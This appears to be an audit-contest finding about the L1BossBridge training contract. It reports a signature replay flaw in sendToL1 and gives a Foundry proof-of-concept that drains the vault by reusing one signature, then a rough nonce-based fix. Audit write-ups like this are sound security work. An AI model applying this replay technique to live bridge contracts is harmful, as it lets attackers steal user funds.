Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Incorrect signature validation in `L1BossBridge::sendToL1` allows replay attacks

Summary

Incorrect signature validation in L1BossBridge::sendToL1 allows replay attacks

Vulnerability Details

L1BossBridge.sol:112 the smart contract uses ECDSA.recover function to get the signer address from the provided signature and message. This address is then checked against a list of approved signers. If it's not listed as an approved signer, the function immediately reverts.

However the message signed does not include a nonce or variable that makes this transaction unique; hence the same signature could be used to execute this function, leading to replay attacks.

Proof of Concept

function testAttackersCanWithdrawMultipleTimesWithSameSignature() public {
// Fund hacker address
vm.prank(deployer);
token.transfer(address(hacker), 100e18);
// hacker deposits
vm.startPrank(hacker);
uint256 depositAmount = 100e18;
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(hacker, userInL2, depositAmount);
// hacker withdraws one time
uint256 withdrawAmount = 50e18;
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(hacker, withdrawAmount), operator.key);
tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
// hacker withdraws second time with same signature
tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
// Drains vault
assertEq(token.balanceOf(hacker), depositAmount);
assertEq(token.balanceOf(address(vault)), 0);
}

Output when running PoC

forge test --mt testAttackersCanWithdrawMultipleTimesWithSameSignature -vvv
[⠒] Compiling...
No files changed, compilation skipped
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testAttackersCanWithdrawMultipleTimesWithSameSignature() (gas: 135704)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.74ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Critical. Malicious users can call this function with the same v, r, and s signature params, over and over again, until the vault has no funds left.

Tools Used

  • Manual Review

  • Foundry

Recommendations

Consider adding a nonce for each withdrawal, making the transaction unique. Alternatively, consider using EIP-712 as a more secure function signature, to avoid potential cross chain replay attacks as well.

function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
+ nonce
)
);
}
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
+ nonce ++;
(address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.